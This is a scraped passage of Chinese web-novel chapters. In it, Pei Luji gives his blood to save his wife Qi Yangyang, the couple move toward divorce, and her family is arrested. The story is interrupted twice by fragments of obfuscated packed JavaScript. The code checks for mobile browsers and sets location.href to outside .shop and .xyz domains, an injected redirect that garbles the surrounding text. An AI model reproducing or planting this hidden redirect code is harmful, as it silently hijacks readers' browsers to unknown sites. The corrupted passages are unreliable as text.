可倘若她死在这里了,我上哪找个人给她姨母交待去?” 裴陆戟的眉头一直紧锁着,他身上还穿着囚衣,手臂上满是被锁链勒出来的伤痕,还一直没有处理,张白石拿着刀匕来到他面前,他已经慷慨地将他那双满是伤口,也不知该往哪下手的臂朝他伸来。 “来吧,多放些,省得回头血不够,她身子落了病根,又来祸害我。” 张白石如今能清楚看见他那些狰狞的伤口,不由倒抽口气,“那...少仲兄,我要来了...” 刀子没落下,太医就拉住了他。 “等、等一下!你们先别着急,等老夫把话说完!” 原来取血不是那么简单,裴陆戟才刚刚在牢里被戚央央喂过药,现在取他的血,并起不了药引的作用。 “需得等世子体内的药性清了,或者老夫开药把他先前服过的药药性中和掉,才行。” 可等药性清除得等一旬的时间,于是裴陆戟想也不想道:“太医,你开药吧。” “可是...要开的这种是对冲之药,世子你会很难受...” “就没有别的补药或者办法可用了吗?”张白石问道,裴陆戟的病情那样凶险可怕,把他的药对冲掉了,岂不是相同于把猛兽放出? 没有戚央央在,他可是怕极了裴陆戟的癫狂。 “难受就难受吧,总比,欠她得好。” 裴陆戟看了眼床榻上躺着不动的瘦弱一抹身影,心脏某处没由来窒息得紧,这种感觉更难受。 太医要下去准备抓药,可裴陆戟却要求太医千万别对此事声张,太子殿下那边不能惊动。 这太医和裴陆戟的老师谢绍杰有共过生死的交情,此时裴陆戟让他不声张,他肯定不会声张。 随后,他又叮嘱张白石:“刚太子派人来熬的药被我砸了,药渣倒在外头墙角边,外头的人暂时被我支开了,你找人去验一下是否邹太医开的药,对了,开对冲药放血这段期间,你想办法让太子的人别注意到这里。” “行。” · 邹太医去抓药的这段时间,张白石找人往秦斌严的饭食里放了些东西,太子殿下得悉后忙着去安抚秦家人,没有机会往裴陆戟这里凑,随后,那些被太子派来紧盯着的眼线,也被张白石轻轻松松调走了。 太医的对冲之药终于抓好,裴陆戟毫不犹豫大口仰头饮尽。 见他一下就把药喝光,邹太医盯了盯屋门外方向,低声地同张白石道:“张大人,待会...世子就要病发了,你记住要抓住机会取他的血,老...老夫还是先下去备好世子夫人的补药吧。” 张白石看着已经把自己绑好在桌椅的裴陆戟,内心还是阵阵发憷,“太医!你不能...” 他话没说完,邹太医就提上医匣跑掉,还关上了门。 这时候可不能闹出动静来让太子察觉,他只能祈求那些绳子绑得结实。 据说他发狂那日,把太子殿下好几个精锐兵都打残了,被关进牢笼里后,他双手双脚都上了锁,可进去试图喂药的人还是哭着从里头爬出来,据说都受了严重内伤。 眼看药效快将消退,持刀靠近的张白石双腿都禁不住哆嗦起来。 21. 第21章 看着裴陆戟眼睛充血越来越红的样子,张白石吓得不知该从何下手。 “少...少仲兄啊,我...我就取一点点你的血,你别乱动啊...” 张白石没能靠近裴陆戟,他身上的绳索就有绷断的迹象,他吓得又往回缩了。 后来见他渐渐平息下来,他才又试探性往前。 “你...你家夫人还躺在那边啊,你千万控制住自...自己啊,不然死的不止我,还有你那位千山万水过来给你添麻烦的夫人啊...” 说完他发现裴陆戟低着头安静了下去,小心靠近去,下刀取血,取完血后,才发现他刚刚原来一直咬着自己舌头拼命地控制着自己。 “你!你傻啊?!” 张白石吓得手里的刀“砰”一声掉了,然后赶紧去替他捂住舌根处汩汩溢出的血。 · 补药调好了,用裴陆戟的血下药,没多久戚央央的脉象终于平复下来。 一榻之上躺着两人,一个是刚刚情况渡过难关的戚氏,一个是为了取血给自己夫人下药,用强大意志力克制自己癫狂的行为,差点自戕而死的裴陆戟。 等裴陆戟醒来的时候,太子尚在处理秦斌严狱中中毒那件事,无暇顾及这边,所以张白石依旧过来照料他。 看着裴陆戟满脸憔悴,抖着手连瓷勺都抓不稳在挖粥的样子,张白石嘴贱地提了一嘴: “裴少仲啊裴少仲,我就说你是爱上你家夫人了吧你偏不信,都已经到了可牺牲自己命的程度了,我说你可得对她也对自己诚实点也不是什么坏事吧?省得两个人都难受...” 他话没说完,裴陆戟手里的瓷勺就“砰”一声掉到地上,摔断了。 “谁跟你说我爱她爱到可牺牲自己了...” 他的声音阴沉,听着莫名让张白石头皮发麻生怵。 “这...”张白石吓得语窒。 裴陆戟藏在袖内的手抖得厉害。 艰难地闭了闭眼睛,又回忆起崔氏被火烧得惨死那一幕。 “戟儿,你可记住了...情爱啊...是这天底下最龌龊、最不该碰的东西,谁一旦动了心,把自己的心交给对方,谁就会陷入万劫不复的境地啊!!” 这是他母亲在最后那一下,被陷在火场中用尽最后一口气对他说出的,唯一掏心窝的话。 然后她就大笑着直到同大火混为一体。 其实崔氏年轻嫁来裴家的时候,也曾憧憬过爱情,可他俩的亲事到底是建立在世家利益之上,长年的被崔家那边的控制,渐渐地,裴晟对她的感情也被消磨殆尽了。 情爱中,总是情深的那一方受伤最重,崔氏后来已经不再奢求裴晟的爱,一心只为家族筹谋,甚至为了家族利益,可以把自己的亲儿送去羌北战俘营受辱。 裴晟那时候已经对崔氏失望透顶,渐渐也不再掺和她和裴陆戟的事。 可他也是他裴晟的儿子!他竟然说不管就不管,一对貌合神离的夫妇,就这么任由着他在羌北的活死人窟承受非人的折磨。 他厌极了情爱。 就算他想试图对戚央央好些,试图想留下她,也决不允许自己对她付出真心。 戚央央不也是一个有眼可见的前车之鉴吗?就因为对他生出了不该生的爱意,这十年间像个痴女似的,不管他如何轻视于她、冷落她,她始终不离不弃,寸步不离跟随着。 他不允许自己变成这样,决不允许! “张大人...” 看着裴陆戟眸里又渐渐蓄起的戾气,张白石浑身寒毛竖起,僵在原地乖乖听命不敢动弹。 “等戚氏醒来,我找机会给你安排回京的要务,到时你帮我带她回去。” “她不是想和离吗?还让我娶秦兰沁为正室,那我就如她所愿...” · 戚央央意识清醒过来的时候,已经在回京的马车上了。 她醒来第一句问的就是,“郎君他怎么样了?” 张白石居然有些同情她,被她用命去保护着的心上人都要同她和离了,她醒来就知道问他好不好。 话都不敢对她说得太大声道:“裴少夫人,裴大人他没事了,你不用担心,倒是你受伤身子还没好全,就不要思虑太多了。” 张白石是要回京办差的,可为了戚央央的身体,已经在路上歇了好几回,等送她回到英国公府,已经一旬过去了。 “张大人,你一直说等回到京城再同我细说、回京再细说的,现在我已经回到来了,有什么事情不妨同我直言,是郎君他情况很不好吗?” 戚央央站着都使不上力,虚弱到需要被两个侍女搀扶着,满脸忧心地问道。 张白石想她放宽心在路上好好休养,至于裴陆戟交代要对她说的话,只想能拖多久就拖多久,谁知他越是不说,越是顾左右而言他,她面上不显,却一直默默记在心里,忧心至今。 “裴少夫人,在下不是说好了让你什么也别想...专心养好身子就行吗?” 看着戚央央这样,有些话让一向能说会道的张白石也难以出口。 “裴大人已经清醒过来,肯主动按时服药,也跟秦家那边道歉了,圣上那边好交代,最多是罚些俸禄什么的,官职算是保下来了。就是...” “就是什么?” 阴阳人时伶牙俐齿的张大人难得当一回结巴: “裴...裴大人让我告...告诉你,等他回去后要同你...和和离,不过!和离后他会给你安排城西的宅子住,以后你还是可以时常回国公府小住,顺便探望姨母,你想做什么他都会帮助你,除了身份不同,他会比以前待你更好、更护着你的!” 一口气说完这些,张白石紧张得像给无辜之人宣判罪状。 不料,戚央央只是沉默了一下,然后平静笑开:“嗯,好,谢谢张大人,我知道了。” 没有预想之中的灾后现场,也没有哭天抢地的哭嚎场面。 就是寻常女子闻悉自己夫君要同自己和离,怕是也会一时接受不了要闹一闹的,而京城出了名为裴陆戟而活的痴女,闻听他要同自己和离,竟然平静得有点异常,这就不禁让张白石更担心了。 “裴少夫人你...你感觉还好吧?” 戚央央看上去只是虚弱了一点,表情看起来倒是还挺平静,“就是还是有些没力,比起前几日已经精神多了。” “那...那有其他难受之处吗?你...你不妨说出来。”他小心翼翼道。 “没有了,谢谢张大人关心。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14062520|148121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她虚弱笑着的模样,让他更愧疚了。 “那...这是裴大人城西那边私宅的钥匙,裴大人说那边的一切布置他安排好了,与国公府无二,裴少夫人你应该能住习惯,这段时间你看有什么需要添置的就先去...” “不用了,”她打断道,“我打算和离后就离开京城,京城这边我待过十年,想去别的地方看看了。” 张白石哑然。 “那...钥匙还是你先拿着吧,我这趟回京应该也不会再去淮东,等裴大人回来,你再...” “嗯,好,我明白的,这次实在是太麻烦张大人你了。”戚央央礼貌道谢道。 张白石完成了裴陆戟交待的事情,是时候回去了。 本来他以为这是个艰难的任务,一路上他都在尽量体谅着戚央央,想方设法哄她开心,让她养好病,将一番话反反复复地斟酌过十几遍,回京才找时机跟她说。 没料想人家却仿佛早早准备好有那么一天似的,连和离后去哪都想过了,才会接受得这么快。 张白石整个人都陷入了对她的悲悯和替她难过中,脚下拴着大石头般艰难地往回走,突然听见戚氏喊他的声音。 本以为她是现在才缓过来了,想找他痛骂一顿,或是责难一顿,这样兴许他能好受一些。 不料她只是叮嘱他前面有树,他刚刚差点就没看一头撞上去了。 这戚氏越是这样,他越是心里憋着憋着难受,浑身上下被火煎着似的,不等她再多说一句话,逃也似的走了。 对于和离,戚央央不是没有难受的,但因为这事是她先提的,所以当她从别人口中听见他终于答应的时候,反倒没那么难受,还觉得连日来的心终于落下似的轻快。 终于要对过往来个斩断了,幸好在离开前,她还帮了他一次,摆脱了困境,也算对他的救命之恩报答了。 戚央央回府后,肉眼可见地身体康复复原很快,也加快速度督促青金玉信物的雕琢,和找商铺修小院的事。 英国公和甄氏得知她下淮东为裴陆戟做的那些事,心疼坏了。 公爹把城东近大半产业都划给戚央央,当作给她的私房,还天天骂逆子,安慰央央道:“别怕,等他回来,父亲给你做主!什么纳妾什么的,他绝对过不了父亲这一关!” 甄氏则天天嘱人炖什么花胶燕窝的给她补身,“央央啊,都母亲不好,母亲无能,要不是...” “母亲,你不必难过,”戚央央实话实说道:“我做这些不是为了谁,是为我自己罢了,郎君从前救过我,可既然以身相许让他生恶了,我就不能恩将仇报,我很笨,这些年不管我做的事有多努力,好像都对他没有一丝帮助,这一次,不管是否能帮到他,我尽力了,至少问心无愧。” “至于父亲那边,我暂时还不知道如何跟他坦白,这些房契,母亲拿着,等以后帮我还给父亲吧。” “以后我不是裴家媳妇了,再拿着这些恐怕不妥,烦请母亲暂时先替我保...” 甄氏听得一头雾水,慌忙喊停道:“等!等一下!” “央央,你在说什么?你要和离?!你...你还...当初是为了报恩嫁给戟儿??可是...” “戟儿他何时曾救过你??” 22. 第22章 戚央央觉得这件事迟早是要让甄氏知晓的,与其等裴陆戟回来说,还不如现在她先哄好姨母,然后让姨母帮着她去哄公爹,这样裴陆戟回来的时候,公爹大概气也消得快差不多了,就不会再对他发难了。 “母亲,我知道你疼我,也知道你心疼我没了家人,希望能对我娘有交代,当初才不管郎君怎么想你,也要把我嫁进国公府,结果反倒害你成了恶人。” “如今想起来我这报恩...”她自嘲道,“不仅坑了我的恩人,还坑了母亲你。” “但是我现在想明白了,我之所以痴迷郎君,不过是因为当年在羌北,他舍命救过我,在我的意识当中,把这种感激之情,当成了爱慕。” “可既然郎君觉得我给予的爱不是他想要的,我的这种报答方式反倒成了恩将仇报,那...” “等...等一等...” 甄氏像是还没完全捋清头绪似的,等戚央央兀自说了好久,才反应道:“央央,戟儿当年...在羌北的时候他...你、你确定他救了你?” 她点点头,“刚来国公府的时候,我就认出他来了,是母亲说让我在府里别提起一切跟羌北、战争有关的话题,我才一直没说。” “可母亲以前曾听你娘说过,你被抓去时才七岁,那活死人墓里又黑,你当真...认出他来吗?会不会弄错了?” 见甄氏十分疑虑的样子,戚央央心里有些异样,但还是相当确定地道:“他身上有我当年给他的鱼鳞纹玉佩,那块玉佩是我自幼就带在身上的,上面有个磕角的形状我一眼就能认出来,不会认错。” “那...会不会是他捡了别人掉下的啊...” “母亲,那玉佩是我当年赠给救命恩人,让他一定贴身戴好,让人去救他时好认出他来的,怎么可能弄丢,而且...母亲你为何要怀疑郎君他不是当年救我的人?” 甄氏当年只是听英国公顺口提过一次裴陆戟的事,说是那年的十一月初,六皇子于羌北营地救出一大批被羌北军折磨已久的战俘,立了大功,十一月底,救出被羁的裴陆戟,并在裴陆戟的帮助下斩杀当时羌北大将的首级,回国。 “央央那会儿好像是...十月份从那里逃出来的是吧?” “嗯,十月初八,我爹的部下从小溪边发现磕了头的我,那天恰好是娘生辰。” · 戚央央不明白甄氏为何会觉得她认错人,然后再次确认她是十月份就逃出来时,脸上表情既震惊又惶恐。 不管怎么问她,她也不肯说,戚央央只好叹息一声作罢。 反正她日后也要离开这里,离开姨母,以前她为这里操心的事可多了,却也只是给大家添麻烦罢了,裴陆戟不喜她,她的存在让姨母为难,罢了...罢了... 回寝卧里收拾自己的东西,她发现除了她来国公府时带来的一堆旧物,似乎没什么东西真正属于她。 “如兰,你以后跟着母亲吧,我的这些首饰,以后都给你,我会跟母亲打好招呼,等你觅到自己如意郎君,会把你风光嫁出去的。” 戚央央亲自收拾自己的旧物,一边道。 如兰在一旁夺过她手中的东西,眼泪夺眶拦她道:“少夫人,你真要走吗?你救了世子,他怎么还要跟你和离,这也太...” 央央微笑着摇头道:“这与郎君无关,是我要求他这么做的。” “如果不这样做的话,他这辈子就要毁了,他生来就该站在耀眼之处,不该被我强攀上平生玷污的,只要他一日还站在高台,我就心生欢喜。” 这一刻,如兰百味交集,主子爱了这么多年还如此想得开,倒是她在她身边日日看着,早就委屈得像个吃了八百斤黄连的哑巴。 “少夫人以后打算怎么办?还能再嫁,还能再爱吗?” 这个问题她自打知道主子的想法后,就问过好几遍,每次主子都说,“不嫁了”、“不爱了”、又或是“曾得过一人足矣”,可这次,再问起她这个问题,戚央央想到的是,如果裴陆戟真像姨母怀疑的那样,是错捡了别人的玉佩,并非她救命恩人,她会如何... “我可能...”她有片刻的晃神,随后笑开:“我想穿色彩艳丽些的衣裳,养三两只猫,大口吃肉,赚钱、吃饭、逛街...这每一样事情,都让我心生期待呢!” · 淮东泾河堤坝修筑的督导工作进行得差不多,太子一行人不日就回到京城了。 回京的那一天,国公府收到消息世子今日回府,世子夫人和国公夫人便忙着准备了一大桌好菜,准备给他接尘,可他路过家门不回,竟直接进宫面圣去了。 “央央,你别难过啊,戟儿他这回是跟着太子去做事的,回来自然是要先进宫面圣的。” 甄氏安慰道,可她却不敢提,太子回来后也是先回东宫休憩整顿,见完他那些妻妾才去面圣,所以英国公刚刚从宫里回来并没见到太子。 正在拨打算盘准备给下人发月银的戚央央抽空抬头来,“母亲,没事的,我现在也正忙呢。” “那...母亲来帮你做账...” 甄氏让人搬来绣墩在她旁边坐下,边做起了账,边斟酌着同她道:“央央啊...非得...和离不可吗?那秦兰沁都嫁过一回人的,让她当个平妻,想必她也肯背后帮忙斡旋啊,实在不必...” “母亲,你这里算错了。” 戚央央指了指她下笔的地方道。 甄氏慌忙下笔修改,“央央,你上次跟母亲说的话,我想重新更正一下。” “央央,你嫁戟儿,并不是在坑母亲,反倒是母亲利用了你。” 她干脆撂下笔,握住央央的手,泣声道:“当年母亲嫁入府里当续弦,不知遭了外头多少人白眼,一来是母亲的身份不配,二来则是,母亲根本当不好这英国公府的主母。” “戟儿他这孩子自我进府来就恨着我,明明他生母是崔家获罪后,她想不开放火自焚而死的,可他却把我视为杀母仇人一般,每次我看见他的眼神,就害怕得夜里睡不着觉。” “这孩子打小过得可怜,爹不疼娘不爱的,我不想让他继续陷入 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她没想到原来他以前日子过得这么惨,他是京城勋贵世家的嫡子,走到哪里都能引人注目,他那样高高在上的人,却过得还不如她一个寒门武将家的女儿,至少她爹娘和兄长们生前都对她很宠爱。 她本来想着,既然裴陆戟每次见她替他设宴都挺冷淡的样子,那她这次接尘宴也就随随便便弄弄,他若是不回,她待会就把饭菜分给下人吃了,省得浪费。 但听母亲这么一说,她突然有些同情他,决定还是等会忙完手里的事情,晚上再郑重给他摆一次宴,到时候若是他还不领情,就当作是最后的一次犯傻好了。 只是有些事她听了甄氏说,还是有些不明白: “母亲,你说郎君他自幼就不受他亲娘待见,爹不疼娘不爱的,那他有可能幼时保持着乐观豁达的性格,直到经历羌北那一趟遭遇才突然变成现在冰冷淡漠的模样吗?” · 戚央央忙完了手里的活,就开始着手准备晚上的晚宴,她连明日一整日的宴席菜单都列好了,想着若他今夜仍不回府的话,就明日给他设宴,明日不回,就后日继续设。 反正等他回来,他们就签和离书,能做的待他好的事情,已经没有多少了。 “少夫人,国公府近日开支紧张,产业下的所有营生都要钱周转,今日的接尘宴已经是用了少夫人你的体己了,你再这么个耗法,广陵那边的商铺还买不买了?” 如兰恼道。 戚央央手里飞快地噼噼啪啪打着算盘,计算了两轮,好像她看中的那个好地段的铺子,真的得放弃了... “少夫人,既然这样,首饰那些你别留给奴婢了,嫁妆钱奴婢也不要,都给少夫人买铺子吧。”如兰心知自家主子在对待世子的事情上有多执拗,也不打算劝她不办宴。 “不用,你陪伴我那么多年,这些是我唯一能给的,又怎么能亏待你呢?临水的商铺买不了,我换个地段的就好。” 说完,她高高兴兴阖上账目去准备了。 最后一次,她想办得隆重点,十年感情,既然要结束了,留个美好念想也是不错的。 23. 第23章 晚上的洗尘宴办得要比早上那会的费心思多了。 府内焕然一新,张灯结彩,长廊两侧花香飘逸,就连院里的松树、柳树,都被系上了洗尘用的金穗子。 早上那会,戚央央手里要忙活的事情多,加之她也预感这宴办了也是吃力不讨好,嫁给他几年来,不管她做什么,办什么宴,他都不曾真正心生喜悦过。 但是白天那会听了甄氏鲜有的提了裴陆戟的年幼时遭遇,平白激起了她的恻隐和同情。 于是她便觉得,再尽心尽力一次,也不算什么。 “门口的垫子要换,换成宝相花的盘金毯,灯笼也要换一下,换两盏光亮点的琉璃灯。” 戚央央忙碌地指挥着下人干活,所到每一个细节,都仔细安排好,务求给裴陆戟留下一个她在府里时的最美好的回忆。 安排好二门那边的布置,跨入院子时看见游廊拐角处,如兰在声色俱厉地斥责着几个婢女。 她走过去,“如兰,发生什么事了?” 如兰见主子来了,慌忙背过身,将手里的东西背转过去,支支吾吾说不出话。 身后那几个刚刚遭完责备的小婢女齐齐跪倒下来。 “少夫人...奴婢...” “下午的时候,奴婢想着日头好...把少夫人收好的那些旧物...都拿出来晾一晾去霉,可谁知,这几个婢子没看好,被个野猫窜进来,摔坏了其中一样...” 如兰说的是戚央央十岁那年进府,一并带过来的那大箱子宝贝。 那些她隔三差五就要上层桐油,承载着过往无数欢乐时光的旧物。 “摔了...哪一件?” 如兰低着头,神色愧疚地把身后的东西拿出来。 是大兄的竹筒水壶。 小时候,大兄是全家人中最疼爱她的一个,以前每次她调皮闯祸,弄坏东西,大兄都护着她,从没责怪她。 到现在,她仍然记得小时候坐在大兄肩膀上,被他扛着看原野山花的情景。 “小央,哥哥马上就要随爹去征战了,这次的敌人有些难对付啊,可能要去久一些,你在家乖乖的,别淘气惹娘生气啊。” 那次是戚央央刚从羌北俘虏营那里逃出来,脑袋摔伤好了没多久,全家人都十分心疼她,不敢再把她带到军营,于是让戚夫人带着她留在柳县等他们归来。 从小到大,除被敌人俘虏去那次,央央从没跟家人分开过,她爹仗着自己有几分能耐,总是有底气把她和娘带在身边,只是打自那次之后,全家人真的怕了。 小央央不愿意离开兄长和爹爹,哭得很厉害。 然后,大兄说可以让她带走他一样东西,他会保证平安回来向她取。 央央便选了他心上人送他的竹筒水壶。 大兄的心上人是以前隔壁家青梅竹马的姐姐,一个很温柔待她很好的姐姐,只是有些短命,及笄前一年就病逝了,要不然她肯定就是她大嫂嫂了。 雕刻绿萼梅的竹筒水壶是这位姐姐用过的旧物,她希望帮大兄保管着它,大兄就拼了最后一口气也要活着回来,可是大兄后来没回,现在竹筒水壶也被摔坏。 央央失神地接过如兰手里,已经快散架的水壶。 “少夫人...”如兰担忧地望着她。 “不,不对!”她却突然惊叫起来,“这不是我大兄的水壶...” “我大兄的水壶...底部这里的梅花曾不慎被烤黑过,而这个...黑色的地方好像不是被烤黑的,是被泥土染上的!” 历经十数年岁月过去,这壶被她隔三差五珍爱地日日刷桐油,早已经把外表的油层硬化成膜,如今因为这壶被摔了,那层硬膜破掉,她才得以发现,原来当日她拿错了壶。 这是那天兄长和爹爹出征前,那家姐姐的顽劣弟弟来府作客,不小心漏在她家的壶。 真相恍然被揭开,戚央央泫然欲出的眼泪立马止住,顿时觉得,这壶看着十分碍眼。 “原来那时候我就拿错了,那徐明小时候时常来欺负我,他的破壶,砸了便砸了,如兰,拿去扔了吧。” 戚央央用手帕擦了擦手,转身就走。 如兰目瞪口呆,她从前就十分不解她家主子为何喜欢收集这些破烂,原来,她执着的是物品背后的情分。 一旦她发现自己收集的东西不是真品时,原来也能如此理智的。 · 晚宴准备得稍微隆重,戚央央想着就算裴陆戟不回,她就当作给公爹和婆母办个宴席热闹热闹。 英国公府已经许久没有设宴了,英国公和甄氏都是喜欢热闹的人,甄氏到现在都没敢对英国公提起戚央央要和裴陆戟和离的事,央央便想着,今夜好好让父亲高兴,然后自己再告诉他。 戚央央没邀请太多宾客,就一些平日里跟国公和甄氏玩得熟的,裴陆戟的同僚罢了。 张白石来到的时候,四下张望了一下,没看见裴陆戟,只见着戚央央领着一群奴仆站大门迎客,便携礼上前来慰问道:“他今日一早就进城,不是现在都还没回府吧?” 戚央央替裴陆戟说话道:“郎君他还有许多事务要忙,我们且等一等他,要是他过会还没回,我们就先用膳吧,明日后日,他什么时候回府,我都准备好洗尘的饭菜。” 张白石这回对着她真的没话说。 “嫂夫人你!太纵着他了!” 本来张白石打算等裴陆戟回京,就告诉他,他夫人不愿意领他的情,拒绝和离后依然被他养在别苑让他随时可见,但现在他改变主意了。 裴少仲这家伙不配拥有个好姑娘爱,活该他不知情,然后等人离开让他着急一下!他活该! 张白石入座后,门口来了个不速之客。 是沐江恩。 沐江恩回京后就一直待在荆王府,时刻留意着英国公府那边的动静。 数月前听闻裴少夫人被送回京,又闻听她受了重伤,他碍于现在身份尴尬的缘故,一直找不到好时机来探望,直到这次她办洗尘宴。 帷帽摘下的那刻,戚央央愣了。 他看见她无碍的模样,那颗悬着好几个月的心终于放下,笑道:“我只是来探望一下故交妹妹,既然你没事,为兄也就放心了,我回去,妹妹不用送。” 说完他就戴好帷帽消失在沿路树旁的灯影处。 戚央央刚才是被吓着了,没反应过来,反应过来后,她觉得自己还是应该为他亲自带自己下淮东的事说些谢谢,便提裙追了上去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14091434|148121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 追到半途的时候,巷子口影影绰绰灯火处走来一个如青松般孤立秀逸的身影。 是时隔数月不见,上回在淮东对他最后一次的印象是被他掐住脖子那次。 裴陆戟一袭入朝面圣的官袍都是在路上换的,人瘦了不少,却依然英俊,眉目如画。 可戚央央看见他却一时间不知该说些什么。 他看着她跑得气喘吁吁的模样,身上披帛掉了一半在地上,钗鬟微乱,鬓发微微汗湿轻贴,杏黄色纱金丝绣月裙下露出半只圆润白皙的脚趾。 他皱了皱眉,一言不发从她身旁擦肩而过,走到她身后去,拾捡起地上那只刚跑掉的云烟如意水漾芙蓉履。 他把鞋子捡起,重新走回她身边,蹲下,伸手轻轻一拉,就将人拉坐在他肩膀上,替她穿鞋。 “今日穿那么好看,走这么着急,怕我跑了不成?” 戚央央一时不知该如何答话,她该不该告诉他,她这次并不是跑出府来找他的呢? “我...你...” “这满大街小巷的灯都是你安排的?”他指了指巷道两旁用木架竖起的灯盏。 “嗯。”戚央央诚实道:“我和母亲给你办了洗尘宴,天黑怕你瞧不见,给你安排了一路的灯火。” 裴陆戟让她站起来,伸手拍了拍被坐皱了的衣袍,“嗤”一身笑了,“当我小孩子,早就不怕黑了。” 戚央央无话。 二人沉默相对了一会,她突然想起什么,着急往身上掏了掏,掏出一枚青金玉雕兰花玉佩。 “这个信物...算还你的,你可以拿这给秦姑娘定亲用。” 裴陆戟接过她手上的玉佩,摸了摸,古水无波的黑瞳里翻不出一丝水浪,“这枚,是假的。” “嗯,是假的。”戚央央大大方方承认道:“但材质和上面的雕工都是一模一样的,我找了好久的师傅去做的。” “真的那枚被我弄丢了,不过就算真的那枚还在,你也已经不能给秦姑娘当定亲之物用了,这得怪我。” “确定...和原来的那枚是一模一样吗?”裴陆戟攥着手中的那枚玉佩,问道。 “是一模一样的呀,连我这天天把玩的人,都认不出来。” “撒、谎。”他轻轻吐息道。 “真的那枚还有这行小字,你怎么不照着让人刻了?”他掏出了原来那枚。 “你...”戚央央惊道:“郎君你这是在耍我吗?你都知道了,还刻意藏起来,好让我着急?” “是,没错,我是刻了字,所以你现在明白这枚确实不能给秦姑娘当定亲之物用了吧?你想我怎么赔你都行。” 裴陆戟没有开声,良久,巷口刮来了一阵妖风,将路旁灯盏渐次刮倒、熄灭。 路上漆寂下来,他缓缓开口:“你以为...我不知道你的小心思吗?” “你就是想独自占有它,刻下这些字,别人就用不了了,是吗?” “告诉我,是不是?” 他嗓音略显嘶哑。 “可是真遗憾啊,这次就算是你不愿,我也不会再理你了,我们...必须和离。” “你就...等着难过好了。”他颓败的笑意里带了些自欺的意味。 24. 第24章 戚央央追到府外去的时候,同一时间,国公府门前来了一群都察司派来抓人的捕快。 “戚天明联合甄立康贪军粮饷,导致十二年前车壁大役一战死伤惨重一案,证据确凿,圣上已下旨捉拿其眷属定罪,来人,速速拿走!” 甄氏和英国公还没反应过来,那些捕快就开始大肆抓人,宾客四散。 恰在此时,裴陆戟带着戚央央回到府里。 戚央央第一次看见一大群身穿皂衣,腰系金饰革带的皇城捕快,他们整装整齐,一丝不苟,每一张脸都是严肃而庄重的。 他们黑压压一片杵在他们国公府的门口,提着剑朝她走来,檐上密云遮蔽了月色和星光,高大而华丽的国公府门楣,都仿佛要被那些人幢幢的鬼魅般的身影压垮似的。 公爹和婆母喊她的声音从门内传出,不少裴家的奴仆也被这些捕快提出了府门。 “犯妇人带走。” 耳边突然传来这么一声,脖子一凉,为首的那个国字脸吊梢眼的捕快拿剑横在了戚央央脖子,快将把她抓住的时候,突闻裴陆戟低喝了一声,“等等。” 只见他利索地从袖内掏出两份盖好红色官印的和离书,施施然朝她走来,在她万般错愕的情况下,打开印泥拉起她手按上印泥,然后加盖在和离书上。 另外一份,他则转身撩袍跨进府门,凉薄至极地递到他的继母,甄氏面前。 “母亲,你们甄氏一族和他戚氏闯下的大祸,没理由让我们裴氏来背负吧?” “就算父亲护你,可裴家,又不止有父亲和我,裴家百年名门,子嗣众多,遍布京都、江淮,难道你要让父亲为了你,置那么多条性命不顾?” “你,担得起吗?” 甄氏泪眼朦胧,英国公裴晟则直接破口开骂:“你这混账家伙!那是你母亲!就因为有难,你就要薄情寡义丢弃她吗?你这畜生!!” 说着,裴晟就要过来夺和离书,却被裴陆戟轻轻一侧身避开。 他冷漠道:“她不是我母亲,我母亲早已经死了,她是被你,和世家逼死的。” 英国公气得浑身发抖,“逆子!你这逆子!你母亲崔氏一族当年有难连坐,我不也去求陛下对你母亲网开一面了吗,怎么到你继母这里,你却如此?看来你早就处心积虑盼着把你继母赶出国公府了是吧??你这畜生!” “我畜生,还是你比我更畜生呢?”裴陆戟凉凉道,“是谁在我母亲还在世时,就跟甄氏搅在一起,逼得我母亲连最后一丝希望也放弃了呢?” “父亲又何曾想过,为何当年崔氏连坐,父亲可以丝毫不受影响,还能帮忙求情,这回他们人上来就锁我们的人呢?” “我现在是在替我们裴氏一族着想,她甄氏,和戚氏如今是罪人连坐犯,你不与她和离,难道要成为整个家族的罪人?!”他突然大声,凶道: “甄氏,我爹为你当得起罪人,你呢,你当得起这千古罪人吗?你若不签下这和离书,死后就不怕我们裴氏家族的人生生世世指着你的荒坟骂!不怕他们把你尸骨挖出来鞭吗?!” 甄氏早已泣不成声。 “燕儿!你别听这畜生胡说八道,我乃英国公,又是皇上身边的红人,有我护着,他们动不了你...” “爹,你还不明白吗?就你那点十多年前立下的功绩,早就不够看了,今日他们能来国公府拿人,你以为圣上不知晓吗?裴家树大,又成天仗着当年功高,你以为圣上心里舒服?我们裴家今时不同往日,怕是早就成为圣上的眼中钉、肉中刺了!” “好!好!你们别说了...别说了...和离书我签!我签!”甄氏已经泣不成声。 “不许签!燕儿,裴陆戟你这畜生!不配当我儿子!你以为你逼得你继母签下和离书就行了吗?我一日不签,这份和离就不作数...” 裴晟话刚落,就感觉脑袋阵阵眩晕。 裴陆戟冷冷地看着他倒下去的身影,淡漠道:“父亲身体抱恙,这份和离书不能亲自签写,那就由我这个嫡子代签吧。” 戚央央看着这满园为裴陆戟而布置的装饰,费心让人花了大功夫在府里每一棵树、屋檐下和廊下悬灯结彩,是为了能让这些耀眼璀璨的光,能照进他心里,为他驱散年幼时经历的那一场场黑暗,可他却站在这些耀光处,亲自斩断她姨母和公爹的关系,亲自送她和她姨母入狱。 兴许,今日的这一场,也是他苦心筹谋了多年的。 原来,十年来,她做的一切,终究是一场笑话。 